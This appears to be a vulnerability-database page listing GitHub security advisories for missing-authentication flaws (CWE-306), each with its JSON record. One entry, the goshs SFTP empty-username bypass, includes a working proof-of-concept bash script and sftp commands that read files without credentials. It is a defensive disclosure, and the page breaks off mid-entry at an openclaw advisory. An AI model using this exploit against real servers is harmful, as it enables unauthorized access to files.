CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3543 vulnerabilities reference this CWE, most recent first.
GHSA-C286-9HVR-9FMM
Vulnerability from github – Published: 2025-01-08 09:30 – Updated: 2025-01-08 15:31The health module has insufficient restrictions on loading URLs, which may lead to some information leakage.
{
"affected": [],
"aliases": [
"CVE-2024-13173"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-08T08:15:24Z",
"severity": "MODERATE"
},
"details": "The health module has insufficient restrictions on loading URLs, which may lead to some information leakage.",
"id": "GHSA-c286-9hvr-9fmm",
"modified": "2025-01-08T15:31:11Z",
"published": "2025-01-08T09:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13173"
},
{
"type": "WEB",
"url": "https://www.vivo.com/en/support/security-advisory-detail?id=14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-C29W-QQ4M-2GCV
Vulnerability from github – Published: 2026-04-14 22:28 – Updated: 2026-04-27 16:17Summary
goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release v2.0.0-beta.5.
Details
The help text explicitly documents empty usernames as valid authentication input:
options/options.go:264-266saysUse basic authentication (user:pass - user can be empty)
The SFTP sanity check only requires that either -b or --sftp-keyfile is present:
if opts.SFTP && (opts.BasicAuth == "" && opts.SFTPKeyFile == "") {
logger.Fatal("When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b")
}
That parsing logic then splits -b ':pass' into an empty username and a non-empty password:
auth := strings.SplitN(opts.BasicAuth, ":", 2)
opts.Username = auth[0]
opts.Password = auth[1]
But the SFTP server only installs a password handler if both the username and password are non-empty:
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return ctx.User() == s.Username && password == s.Password
}
}
With -b ':pass', that condition is false, so no password authentication is enforced for SFTP sessions.
Relevant source locations:
options/options.go:264-266sanity/checks.go:82-85sanity/checks.go:102-109sftpserver/sftpserver.go:82-85
PoC
I manually verified the issue on v2.0.0-beta.5. The server was started with the documented empty-user auth syntax -b ':pass', but an SFTP client still downloaded a file without supplying any key or password.
Manual verification commands used:
Terminal 1
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./
rm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt
mkdir -p /tmp/goshs_authless_root
printf 'root file\n' > /tmp/goshs_authless_root/test.txt
/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass'
Terminal 2
printf 'get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\nbye\n' | \
sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1
cat /tmp/authless_sftp.txt
Expected result:
- the SFTP session succeeds without a key
- there is no password prompt
cat /tmp/authless_sftp.txtprintsroot file
PoC Video 1:
https://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4
Single-script verification:
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2'
gosh_poc2 script content:
#!/usr/bin/env bash
set -euo pipefail
REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
BIN='/tmp/goshs_beta5_sftp_empty_user'
ROOT='/tmp/goshs_authless_root'
DOWNLOAD='/tmp/authless_sftp.txt'
HTTP_PORT='18102'
SFTP_PORT='2223'
SERVER_PID=""
cleanup() {
if [[ -n "${SERVER_PID:-}" ]]; then
kill "${SERVER_PID}" >/dev/null 2>&1 || true
wait "${SERVER_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
echo '[1/5] Building goshs beta.5'
cd "${REPO}"
go build -o "${BIN}" ./
echo '[2/5] Preparing test root'
rm -rf "${ROOT}" "${DOWNLOAD}"
mkdir -p "${ROOT}"
printf 'root file\n' > "${ROOT}/test.txt"
echo "[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}"
"${BIN}" -p "${HTTP_PORT}" -sftp -d "${ROOT}" --sftp-port "${SFTP_PORT}" -b ':pass' \
>/tmp/gosh_poc2.log 2>&1 &
SERVER_PID=$!
for _ in $(seq 1 40); do
if python3 - <<PY
import socket
s = socket.socket()
try:
s.connect(("127.0.0.1", ${SFTP_PORT}))
raise SystemExit(0)
except OSError:
raise SystemExit(1)
finally:
s.close()
PY
then
break
fi
sleep 0.25
done
echo '[4/5] Connecting without password or key'
printf "get ${ROOT}/test.txt ${DOWNLOAD}\nbye\n" | \
sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P "${SFTP_PORT}" -b - foo@127.0.0.1
echo '[5/5] Verifying unauthenticated file access'
echo "Downloaded content: $(cat "${DOWNLOAD}")"
if [[ "$(cat "${DOWNLOAD}")" == 'root file' ]]; then
echo '[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated'
else
echo '[RESULT] NOT REPRODUCED'
exit 1
fi
PoC Video 2:
https://github.com/user-attachments/assets/b8f632b7-20f4-49f1-b207-b2502af49b77
Impact
This is an authentication bypass in the SFTP service. An external attacker does not need valid credentials to access the exposed SFTP root when the operator follows the documented -b ':pass' syntax. That enables unauthenticated reading, uploading, renaming, and deleting of files within the configured SFTP root, depending on server mode and filesystem permissions.
Remediation
Suggested fixes:
- Install the SFTP password handler whenever a password is configured, even if the username is an empty string.
- If empty usernames are not intended for SFTP, reject
-b ':pass'during option validation whenever-sftpis enabled. - Add an integration test that starts SFTP with
-b ':pass'and verifies that unauthenticated sessions are rejected.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40884"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:28:30Z",
"nvd_published_at": "2026-04-21T20:17:02Z",
"severity": "CRITICAL"
},
"details": "### Summary\ngoshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with `-b \u0027:pass\u0027` together with `-sftp`, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release `v2.0.0-beta.5`.\n\n### Details\nThe help text explicitly documents empty usernames as valid authentication input:\n\n- `options/options.go:264-266` says `Use basic authentication (user:pass - user can be empty)`\n\nThe SFTP sanity check only requires that either `-b` or `--sftp-keyfile` is present:\n\n```go\nif opts.SFTP \u0026\u0026 (opts.BasicAuth == \"\" \u0026\u0026 opts.SFTPKeyFile == \"\") {\n logger.Fatal(\"When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b\")\n}\n```\n\nThat parsing logic then splits `-b \u0027:pass\u0027` into an empty username and a non-empty password:\n\n```go\nauth := strings.SplitN(opts.BasicAuth, \":\", 2)\nopts.Username = auth[0]\nopts.Password = auth[1]\n```\n\nBut the SFTP server only installs a password handler if both the username and password are non-empty:\n\n```go\nif s.Username != \"\" \u0026\u0026 s.Password != \"\" {\n sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {\n return ctx.User() == s.Username \u0026\u0026 password == s.Password\n }\n}\n```\n\nWith `-b \u0027:pass\u0027`, that condition is false, so no password authentication is enforced for SFTP sessions.\n\nRelevant source locations:\n\n- `options/options.go:264-266`\n- `sanity/checks.go:82-85`\n- `sanity/checks.go:102-109`\n- `sftpserver/sftpserver.go:82-85`\n\n### PoC\nI manually verified the issue on `v2.0.0-beta.5`. The server was started with the documented empty-user auth syntax `-b \u0027:pass\u0027`, but an SFTP client still downloaded a file without supplying any key or password.\n\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5\u0027\ngo build -o /tmp/goshs_beta5 ./\n\nrm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt\nmkdir -p /tmp/goshs_authless_root\nprintf \u0027root file\\n\u0027 \u003e /tmp/goshs_authless_root/test.txt\n\n/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b \u0027:pass\u0027\n```\n\n`Terminal 2`\n\n```bash\nprintf \u0027get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\\nbye\\n\u0027 | \\\nsftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \\\n-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1\n\ncat /tmp/authless_sftp.txt\n```\n\nExpected result:\n\n- the SFTP session succeeds without a key\n- there is no password prompt\n- `cat /tmp/authless_sftp.txt` prints `root file`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4\n\n\nSingle-script verification:\n\n```bash\n\u0027/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2\u0027\n```\n\n`gosh_poc2` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO=\u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5\u0027\nBIN=\u0027/tmp/goshs_beta5_sftp_empty_user\u0027\nROOT=\u0027/tmp/goshs_authless_root\u0027\nDOWNLOAD=\u0027/tmp/authless_sftp.txt\u0027\nHTTP_PORT=\u002718102\u0027\nSFTP_PORT=\u00272223\u0027\nSERVER_PID=\"\"\n\ncleanup() {\n if [[ -n \"${SERVER_PID:-}\" ]]; then\n kill \"${SERVER_PID}\" \u003e/dev/null 2\u003e\u00261 || true\n wait \"${SERVER_PID}\" 2\u003e/dev/null || true\n fi\n}\ntrap cleanup EXIT\n\necho \u0027[1/5] Building goshs beta.5\u0027\ncd \"${REPO}\"\ngo build -o \"${BIN}\" ./\n\necho \u0027[2/5] Preparing test root\u0027\nrm -rf \"${ROOT}\" \"${DOWNLOAD}\"\nmkdir -p \"${ROOT}\"\nprintf \u0027root file\\n\u0027 \u003e \"${ROOT}/test.txt\"\n\necho \"[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}\"\n\"${BIN}\" -p \"${HTTP_PORT}\" -sftp -d \"${ROOT}\" --sftp-port \"${SFTP_PORT}\" -b \u0027:pass\u0027 \\\n \u003e/tmp/gosh_poc2.log 2\u003e\u00261 \u0026\nSERVER_PID=$!\n\nfor _ in $(seq 1 40); do\n if python3 - \u003c\u003cPY\nimport socket\ns = socket.socket()\ntry:\n s.connect((\"127.0.0.1\", ${SFTP_PORT}))\n raise SystemExit(0)\nexcept OSError:\n raise SystemExit(1)\nfinally:\n s.close()\nPY\n then\n break\n fi\n sleep 0.25\ndone\n\necho \u0027[4/5] Connecting without password or key\u0027\nprintf \"get ${ROOT}/test.txt ${DOWNLOAD}\\nbye\\n\" | \\\n sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \\\n -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P \"${SFTP_PORT}\" -b - foo@127.0.0.1\n\necho \u0027[5/5] Verifying unauthenticated file access\u0027\necho \"Downloaded content: $(cat \"${DOWNLOAD}\")\"\n\nif [[ \"$(cat \"${DOWNLOAD}\")\" == \u0027root file\u0027 ]]; then\n echo \u0027[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated\u0027\nelse\n echo \u0027[RESULT] NOT REPRODUCED\u0027\n exit 1\nfi\n```\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/b8f632b7-20f4-49f1-b207-b2502af49b77\n\n\n\n### Impact\nThis is an authentication bypass in the SFTP service. An external attacker does not need valid credentials to access the exposed SFTP root when the operator follows the documented `-b \u0027:pass\u0027` syntax. That enables unauthenticated reading, uploading, renaming, and deleting of files within the configured SFTP root, depending on server mode and filesystem permissions.\n\n### Remediation\nSuggested fixes:\n\n1. Install the SFTP password handler whenever a password is configured, even if the username is an empty string.\n2. If empty usernames are not intended for SFTP, reject `-b \u0027:pass\u0027` during option validation whenever `-sftp` is enabled.\n3. Add an integration test that starts SFTP with `-b \u0027:pass\u0027` and verifies that unauthenticated sessions are rejected.",
"id": "GHSA-c29w-qq4m-2gcv",
"modified": "2026-04-27T16:17:25Z",
"published": "2026-04-14T22:28:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40884"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickhener/goshs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "goshs has an empty-username SFTP password authentication bypass"
}
GHSA-C29X-Q9MW-W4J4
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36A vulnerability was discovered in Siemens OZW672 (all versions) and OZW772 (all versions) that could allow an attacker to read and manipulate data in TLS sessions while performing a man-in-the-middle (MITM) attack on the integrated web server on port 443/tcp.
{
"affected": [],
"aliases": [
"CVE-2017-6873"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-08T00:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was discovered in Siemens OZW672 (all versions) and OZW772 (all versions) that could allow an attacker to read and manipulate data in TLS sessions while performing a man-in-the-middle (MITM) attack on the integrated web server on port 443/tcp.",
"id": "GHSA-c29x-q9mw-w4j4",
"modified": "2022-05-13T01:36:23Z",
"published": "2022-05-13T01:36:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6873"
},
{
"type": "WEB",
"url": "https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-563539.pdf"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99473"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C2JG-9J98-6679
Vulnerability from github – Published: 2025-08-19 18:31 – Updated: 2025-08-29 21:32Improper Access Control issue in the Workflow component of Fortra's FileCatalyst allows unauthenticated users to upload arbitrary files via the order forms page.
{
"affected": [],
"aliases": [
"CVE-2025-8450"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-19T18:15:29Z",
"severity": "HIGH"
},
"details": "Improper Access Control issue in the Workflow component of Fortra\u0027s FileCatalyst allows unauthenticated users to upload arbitrary files via the order forms page.",
"id": "GHSA-c2jg-9j98-6679",
"modified": "2025-08-29T21:32:02Z",
"published": "2025-08-19T18:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8450"
},
{
"type": "WEB",
"url": "https://www.cve.org/cverecord?id=CVE-2025-8450"
},
{
"type": "WEB",
"url": "https://www.fortra.com/security/advisories/product-security/fi-2025-010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C2QC-W934-QC22
Vulnerability from github – Published: 2024-09-09 03:30 – Updated: 2024-09-09 03:30Orca HCM from LEARNING DIGITAL does not properly restrict access to a specific functionality, allowing unauthenticated remote attacker to exploit this functionality to create an account with administrator privilege and subsequently use it to log in.
{
"affected": [],
"aliases": [
"CVE-2024-8584"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-09T03:15:09Z",
"severity": "CRITICAL"
},
"details": "Orca HCM from LEARNING DIGITAL does not properly restrict access to a specific functionality, allowing unauthenticated remote attacker to exploit this functionality to create an account with administrator privilege and subsequently use it to log in.",
"id": "GHSA-c2qc-w934-qc22",
"modified": "2024-09-09T03:30:44Z",
"published": "2024-09-09T03:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8584"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8040-948ef-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8039-24e48-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C34V-3G56-GX43
Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-04-15 21:31Vulnerability in the Oracle Scripting product of Oracle E-Business Suite (component: iSurvey Module). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Scripting. Successful attacks of this vulnerability can result in takeover of Oracle Scripting. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-30727"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-15T21:16:02Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Scripting product of Oracle E-Business Suite (component: iSurvey Module). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Scripting. Successful attacks of this vulnerability can result in takeover of Oracle Scripting. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-c34v-3g56-gx43",
"modified": "2025-04-15T21:31:48Z",
"published": "2025-04-15T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30727"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C34X-96JH-XQ96
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37An issue was discovered in URVE Build 24.03.2020. Using the _internal/pc/shutdown.php path, it is possible to shutdown the system. Among others, the following files and scripts are also accessible: _internal/pc/abort.php, _internal/pc/restart.php, _internal/pc/vpro.php, _internal/pc/wake.php, _internal/error_u201409.txt, _internal/runcmd.php, _internal/getConfiguration.php, ews/autoload.php, ews/del.php, ews/mod.php, ews/sync.php, utils/backup/backup_server.php, utils/backup/restore_server.php, MyScreens/timeline.config, kreator.html5/test.php, and addedlogs.txt.
{
"affected": [],
"aliases": [
"CVE-2020-29551"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-23T16:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in URVE Build 24.03.2020. Using the _internal/pc/shutdown.php path, it is possible to shutdown the system. Among others, the following files and scripts are also accessible: _internal/pc/abort.php, _internal/pc/restart.php, _internal/pc/vpro.php, _internal/pc/wake.php, _internal/error_u201409.txt, _internal/runcmd.php, _internal/getConfiguration.php, ews/autoload.php, ews/del.php, ews/mod.php, ews/sync.php, utils/backup/backup_server.php, utils/backup/restore_server.php, MyScreens/timeline.config, kreator.html5/test.php, and addedlogs.txt.",
"id": "GHSA-c34x-96jh-xq96",
"modified": "2022-05-24T17:37:06Z",
"published": "2022-05-24T17:37:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29551"
},
{
"type": "WEB",
"url": "https://urve.co.uk/system-rezerwacji-sal"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-041.txt"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160725/URVE-Software-Build-24.03.2020-Missing-Authorization.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2020/Dec/48"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C35G-4P36-QCHM
Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-01-21 21:30Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are affected are Prior to 9.2.9.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-21515"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T21:15:16Z",
"severity": "HIGH"
},
"details": "Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are affected are Prior to 9.2.9.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-c35g-4p36-qchm",
"modified": "2025-01-21T21:30:55Z",
"published": "2025-01-21T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21515"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C35H-W8HJ-MM55
Vulnerability from github – Published: 2024-03-12 21:30 – Updated: 2025-01-22 18:46Improper Authentication vulnerability in Apache Pulsar Proxy allows an attacker to connect to the /proxy-stats endpoint without authentication. The vulnerable endpoint exposes detailed statistics about live connections, along with the capability to modify the logging level of proxied connections without requiring proper authentication credentials.
This issue affects Apache Pulsar versions from 2.6.0 to 2.10.5, from 2.11.0 to 2.11.2, from 3.0.0 to 3.0.1, and 3.1.0.
The known risks include exposing sensitive information such as connected client IP and unauthorized logging level manipulation which could lead to a denial-of-service condition by significantly increasing the proxy's logging overhead. When deployed via the Apache Pulsar Helm chart within Kubernetes environments, the actual client IP might not be revealed through the load balancer's default behavior, which typically obscures the original source IP addresses when externalTrafficPolicy is being configured to "Cluster" by default. The /proxy-stats endpoint contains topic level statistics, however, in the default configuration, the topic level statistics aren't known to be exposed.
2.10 Pulsar Proxy users should upgrade to at least 2.10.6. 2.11 Pulsar Proxy users should upgrade to at least 2.11.3. 3.0 Pulsar Proxy users should upgrade to at least 3.0.2. 3.1 Pulsar Proxy users should upgrade to at least 3.1.1.
Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions. Additionally, it's imperative to recognize that the Apache Pulsar Proxy is not intended for direct exposure to the internet. The architectural design of Pulsar Proxy assumes that it will operate within a secured network environment, safeguarded by appropriate perimeter defenses.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.10.5"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.pulsar:pulsar-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.10.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.2"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.pulsar:pulsar-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.0"
},
{
"fixed": "2.11.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.pulsar:pulsar-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.pulsar:pulsar-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-34321"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-13T21:58:52Z",
"nvd_published_at": "2024-03-12T19:15:47Z",
"severity": "HIGH"
},
"details": "Improper Authentication vulnerability in Apache Pulsar Proxy allows an attacker to connect to the /proxy-stats endpoint without authentication. The vulnerable endpoint exposes detailed statistics about live connections, along with the capability to modify the logging level of proxied connections without requiring proper authentication credentials.\n\nThis issue affects Apache Pulsar versions from 2.6.0 to 2.10.5, from 2.11.0 to 2.11.2, from 3.0.0 to 3.0.1, and 3.1.0.\n\nThe known risks include exposing sensitive information such as connected client IP and unauthorized logging level manipulation which could lead to a denial-of-service condition by significantly increasing the proxy\u0027s logging overhead. When deployed via the Apache Pulsar Helm chart within Kubernetes environments, the actual client IP might not be revealed through the load balancer\u0027s default behavior, which typically obscures the original source IP addresses when externalTrafficPolicy is being configured to \"Cluster\" by default. The /proxy-stats endpoint contains topic level statistics, however, in the default configuration, the topic level statistics aren\u0027t known to be exposed.\n\n2.10 Pulsar Proxy users should upgrade to at least 2.10.6.\n2.11 Pulsar Proxy users should upgrade to at least 2.11.3.\n3.0 Pulsar Proxy users should upgrade to at least 3.0.2.\n3.1 Pulsar Proxy users should upgrade to at least 3.1.1.\n\nUsers operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions. Additionally, it\u0027s imperative to recognize that the Apache Pulsar Proxy is not intended for direct exposure to the internet. The architectural design of Pulsar Proxy assumes that it will operate within a secured network environment, safeguarded by appropriate perimeter defenses.",
"id": "GHSA-c35h-w8hj-mm55",
"modified": "2025-01-22T18:46:22Z",
"published": "2024-03-12T21:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34321"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/pulsar"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/ods5tq2hpl390hvjnvxv0bcg4rfpgjj8"
},
{
"type": "WEB",
"url": "https://pulsar.apache.org/security/CVE-2022-34321"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/03/12/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Pulsar: Improper Authentication for Pulsar Proxy Statistics Endpoint"
}
GHSA-C37P-4QQG-3P76
Vulnerability from github – Published: 2026-02-18 00:54 – Updated: 2026-03-06 01:03Summary
A Twilio webhook signature-verification bypass in the voice-call extension could allow unauthenticated webhook requests when a specific ngrok free-tier compatibility option is enabled.
Impact
This issue is limited to configurations that explicitly enable and expose the voice-call webhook endpoint.
Not affected by default:
- The voice-call extension is optional and disabled by default.
- The bypass only applied when tunnel.allowNgrokFreeTierLoopbackBypass was explicitly enabled.
- Exploitation required the webhook to be reachable (typically via a public ngrok URL during development).
Worst case (when exposed and the option was enabled):
- An external attacker could send forged requests to the publicly reachable webhook endpoint that would be accepted without a valid X-Twilio-Signature.
- This could result in unauthorized webhook event handling (integrity) and request flooding (availability).
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.2.13(latest published as of 2026-02-14) - Patched versions:
>= 2026.2.14(planned next release; pending publish)
Fix
